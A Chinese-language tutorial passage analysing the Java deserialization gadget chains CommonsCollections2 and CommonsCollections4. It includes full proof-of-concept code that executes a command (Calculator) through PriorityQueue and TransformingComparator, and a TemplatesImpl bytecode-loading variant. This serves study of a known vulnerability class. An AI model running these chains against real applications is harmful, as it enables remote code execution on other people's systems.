- 1 序列化与反序列化基础
- 2 漏洞基本原理
- 3 Java 反射
- 4 DNSURL gadget 分析
- 1 背景介绍
- 2 CommonsCollections 1 Gadget 分析
- 3 CommonsCollections 6 Gadget 分析
- 4 CommonsCollections 2&&4 Gadget 分析
- JDK 7U21 Gadget
- 1 原理
- 2 构造
- 3 调用链
- 4 总结
- 1 Java 动态加载字节码
- 2 CommonsCollections 3 Gadget 分析
- 3 CommonsCollections 5 Gadget 分析
- 4 CommonsCollections 7 Gadget 分析
- 反序列化攻击涉及到的相关协议
- 1 RMI
- 2 JNDI
4 CommonsCollections 2&&4 Gadget 分析
在 2015 年底 commons-collections 反序列化利用链被提出时,Apache Commons Collections 有以下两个分支版本:
- commons-collections:commons-collections
- org.apache.commons:commons-collections4
可⻅,groupId 和 artifactId 都变了。前者是 Commons Collections 老的版本包,当时版本号是 3.2.1,后者是官方在 2013 年推出的 4 版本,当时版本号是 4.0。
官方认为旧的 commons-collections 有一些架构和 API 设计上的问题,但修复这些问题,会产生大量不能向前兼容的改动。所以,commons-collections4 不再认为是一个用来替换 commons-collections 的新版本,而是一个新的包,两者的命名空间不冲突,因此可以共存在同一个项目中。
那么,既然 3.2.1 中存在反序列化利用链,那么 4.0 版本是否存在呢?
4.1 CommonsCollections4 包的改动
由于两个版本的库可以共存,因此把两个包放到同一个项目中的 pom.xml
进行比较:
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
</dependencies>
用之前的 CommonsCollections6
利用链做个例子,然后将所有 import org.apache.commons.collections.*
改成 import org.apache.commons.collections4.*
。
直接运行,发现 LazyMap.decorate
这个方法没有了:
在 3 中的定义:
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
而在 6 中的定义:
public static <K, V> LazyMap<K, V> lazyMap(final Map<K, V> map, final Factory< ? extends V> factory) {
return new LazyMap<K,V>(map, factory);
}
这个方法不过就是 LazyMap 构造函数的一个包装,而在 4 中其实只是改了个名字叫 lazyMap。
所以,将 Gadget 中出错的代码换一下名字:
MapouterMap = LazyMap.lazyMap(innerMap, transformerChain);
运行:
同理,之前的 CC1 Gadget、CC6 Gadget,都可以在 CommonsCollections4 中正常使用。
4.2 PriorityQueue 利用链
ysoserial
还为 commons-collections4 准备了两条新的利用链,那就是 CommonsCollections2
和 CommonsCollections4
。
commons-collections 这个包之所有能攒出那么多利用链来,除了因为其使用量大,技术上的原因是其中包含了一些可以执行任意方法的 Transformer 。所以,在 commons-collections 中找 Gadget 的过程,实际上可以简化为,找一条从 Serializable#readObject() 方法到 Transformer#transform() 方法的调用链。
4.2.1 CommonsCollections2 Gadget
4.2.1.1 调用链
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
4.2.1.2 分析
在 CC2 中,用到的两个关键类是:
java.util.PriorityQueue
org.apache.commons.collections4.comparators.TransformingComparator
首先, java.util.PriorityQueue
类拥有自己的 readObject()
:
org.apache.commons.collections4.comparators.TransformingComparator
中有调用 transform()
方法的函数:
所以, CommonsCollections2
实际就是一条从 PriorityQueue
到 TransformingComparator
的利用链。
接下来看下这个 Gadget 的串联方式: PriorityQueue#readObject()
中调用了 heapify()
方法, heapify()
中调用了 siftDown()
, siftDown()
中调用 siftDownUsingComparator()
, siftDownUsingComparator()
中调用的 comparator.compare()
,于是就连接到上面的 TransformingComparator
了:
总结起来就是:
java.util.PriorityQueue
是一个优先队列(Queue),基于二叉堆实现,队列中每一个元素有自己的优先级,节点之间按照优先级大小排序成一棵树。反序列化时调用
heapify()
方法,是为了反序列化后,需要恢复这个结构的顺序。排序是靠将大的元素下移实现的。
siftDown()
是将节点下移的函数, 而comparator.compare()
用来比较两个元素大小。TransformingComparator
实现了java.util.Comparator
接口,这个接口用于定义两个对象如何进行比较。siftDownUsingComparator()
中就使用这个接口的compare()
方法比较树的节点。
POC 如下:
package CC4Test;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;
public class CC4Test {
public static void main(String[] args) throws Exception {
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec",new Class[] { String.class }, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Comparator comparator = new TransformingComparator(transformerChain);
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(2);
Field f = transformerChain.getClass().getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
// 序列化
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
// 反序列化
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();
}
}
4.2.2 CommonsCollection4 Gadget
改进 PriorityQueue 利用链:因为 CommonsCollections4 除 4.0 的其他版本去掉了 InvokerTransformer 的 Serializable 继承,导致无法序列化。所以便有了 CC4,CC4 只是将 CC2 中的 InvokerTransformer 替换为了 InstantiateTransformer。
创建 TemplatesImpl
对象:
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{getBytescode()});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
创建一个正常的 InvokerTransformer
对象,并用它实例化 Comparator
:
Transformer transformer = new InvokerTransformer("toString", null, null);
Comparator comparator = new TransformingComparator(transformer);
实例化 PriorityQueue
,向队列里添加的元素是前面创建的 TemplatesImpl
对象:
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(obj);
queue.add(obj);
原因很简单,和上一篇文章相同,因为我们这里无法再使用 Transformer
数组,所以也就不能用 ConstantTransformer
来初始化变量,需要接受外部传入的变量。而在 Comparator#compare()
时,队列里的元素将作为参数传入 transform()
方法,这就是传给 TemplatesImpl#newTransformer
的参数。
最后一步,将 toString
方法改成恶意方法 newTransformer
:
setFieldValue(transformer, "iMethodName", "newTransformer");
最终的 POC:
public static void main(String[] args) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{getBytescode()});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer transformer = new InvokerTransformer("toString", null, null);
Comparator comparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(obj);
queue.add(obj);
setFieldValue(transformer, "iMethodName", "newTransformer");
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
参考
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论